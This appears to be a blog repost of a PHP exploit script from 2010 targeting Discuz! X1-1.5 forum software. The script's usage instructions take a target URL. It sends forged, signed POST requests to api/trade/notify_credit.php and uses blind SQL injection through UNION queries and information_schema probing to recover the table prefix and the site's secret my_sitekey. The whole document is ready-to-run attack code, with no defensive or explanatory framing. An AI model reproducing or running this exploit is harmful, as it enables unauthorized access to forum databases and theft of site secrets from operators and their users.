Blog

<?php  
  print_r('  
  +---------------------------------------------------------------------------+  
  Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit  
  by toby57 2010.11.05  
  mail: toby57 at 163 dot com  
  team: http://www.wolvez.org  
  +---------------------------------------------------------------------------+  
  ');  
  if ($argc < 2) {  
  print_r('  
  +---------------------------------------------------------------------------+  
  Usage: php '.$argv[0].' url [pre]  
  Example:  
  php '.$argv[0].' http://localhost/  
  php '.$argv[0].' http://localhost/ xss_  
  +---------------------------------------------------------------------------+  
  ');  
  exit;  
  }  
  error_reporting(7);  
  ini_set('max_execution_time', 0);  
  $url = $argv[1];  
  $pre = $argv[2]?$argv[2]:'pre_';  
  $target = parse_url($url);  
  extract($target);  
  $path .= '/api/trade/notify_credit.php';  
  $hash = array();  
  $hash = array_merge($hash, range(48, 57));  
  $hash = array_merge($hash, range(97, 102));  
   
  $tmp_expstr = "'";  
  $res = send();  
  if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}  
  preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);  
  if($match[1])$pre = $match[1];  
  $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";  
  $res = send();  
  if(strpos($res,"doesn't exist")!==false){  
  echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";  
  for($i = 1;$i<20;$i++){  
  $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";  
  $res = send();  
   
  if(strpos($res,'SQL syntax')!==false){  
   
  $pre = '';  
  $hash2 = array();  
  $hash2 = array_merge($hash2, range(48, 57));  
  $hash2 = array_merge($hash2, range(97, 122));  
  $hash2[] = 95;  
  for($j = 1;$j <= $i; $j++){  
  for ($k = 0; $k <= 255; $k++) {  
  if(in_array($k, $hash2)) {  
  $char = dechex($k);  
  $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";  
  $res = send();  
  if(strpos($res,'SQL syntax')!==false){  
  echo chr($k);  
  $pre .= chr($k);break;  
  }  
  }  
  }  
  }  
  if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};  
  } } };  
  echo "Please Waiting....\n";  
  $sitekey = '';  
  for($i = 1;$i <= 32; $i++){  
  for ($k = 0; $k <= 255; $k++) {  
  if(in_array($k, $hash)) {  
  $char = dechex($k);  
  $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";  
  $res = send();  
  if(strpos($res,'SQL syntax')!==false){  
  echo chr($k);  
  $sitekey .= chr($k);break;  
  }}}}  
  if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');  
  echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";  
  exit;  
   
  function sign($exp_str){  
  return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");  
  }  
   
  function send(){  
  global $host, $path, $tmp_expstr;  
   
  $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);  
  $data = "POST $path HTTP/1.1\r\n";  
  $data .= "Host: $host\r\n";  
  $data .= "Content-Type: application/x-www-form-urlencoded\r\n";  
  $data .= "Content-Length: ".strlen($expdata)."\r\n";  
  $data .= "Connection: Close\r\n\r\n";  
  $data .= $expdata;  
  $fp = fsockopen($host, 80);  
  fputs($fp, $data);  
  $resp = '';  
  while ($fp && !feof($fp))  
  $resp .= fread($fp, 1024);  
  return $resp;  
  }  
  ?>